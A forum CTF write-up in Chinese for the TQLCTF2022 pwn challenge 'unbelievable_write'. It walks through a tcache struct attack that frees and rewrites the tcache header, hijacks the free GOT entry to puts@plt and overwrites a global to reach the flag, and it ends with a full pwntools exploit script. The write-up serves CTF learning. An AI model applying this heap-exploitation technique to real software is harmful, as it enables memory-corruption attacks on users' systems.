-
-
[原创]【TQLCTF2022】unbelievable_write
-
发表于: 2022-4-28 15:49 6853
-
tcache相较于其它的bin是一个神奇的存在,因为它的链表表头和计数器是放在堆上的。一个地址为堆块首地址并且大小为0x240的堆块。如果可以把这块free,再申请就可以修改tcache bin的表头和计数器。如果把表头改写为我们想修改的地址,并把其计数器置为大于1的数,就可以申请出地址进行修改。
这道题可以说是tcache struct attack 的模板了,但是当时开学为了赶路就摸了,让ymnh一个人打
保护
RELRO如果是黄色的话,一般都要考虑考虑改got表为plt表来达到劫持free或者exit等函数
没开pie的话,可以利用全局变量
ida
main
c3
改写target!=0xFEDCBA9876543210LL即可打印flag
c2
一个金手指可以执行一次free,free掉地址为ptr+offset的堆块
在前面的init函数里可以看出ptr是一个堆块地址
c1
申请了立马就free了,但是如果我们修改free的got表,就可以绕过free(直接free 0x404080会报错)
思路
那么思路就很明确了,利用金手指free掉tcache struct,再次申请修改tcache struct(这个时候还是会free),并把上面一个表头设置为free_got。申请,然后修改free_got为puts_plt(这个时候就不会free了)。申请0x280再次修改tcache struct,再次申请对应大小达到修改0x404080的目的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r=process('./b') ##r = remote("chuj.top", 51904) ##proof_of_work(r) r = process( './pwn' ) elf = ELF( './pwn' ) puts_plt = elf.plt[ 'puts' ] def z(): gdb.attach(r) def cho(num): r.sendlineafter( "> " , str (num)) def free(offset): cho( 2 ) r.sendline( str (offset)) def add(size,con): cho( 1 ) r.sendline( str (size)) r.sendline(con) def peng(): cho( 3 ) free( - 0x290 ) pd = p64( 0 ) * 20 + p64(elf.got[ 'free' ]) add( 0x280 ,pd) add( 0x50 ,p64(puts_plt) + p64( 0x401040 )) pd = p64( 0x11111111 ) * 20 + p64( 0x404080 ) add( 0x280 ,pd) z() add( 0x50 ,p64( 0xdeadbeef )) peng() r.interactive() |
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 13831
- 对某嵌入式设备声波配网的研究 11920
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11355
- [原创]关于Nokelock蓝牙锁破解分析 21864
- [原创]基于树莓派的蓝牙调试环境搭建 24487
谁下载
看原图
赞赏
雪币:
留言: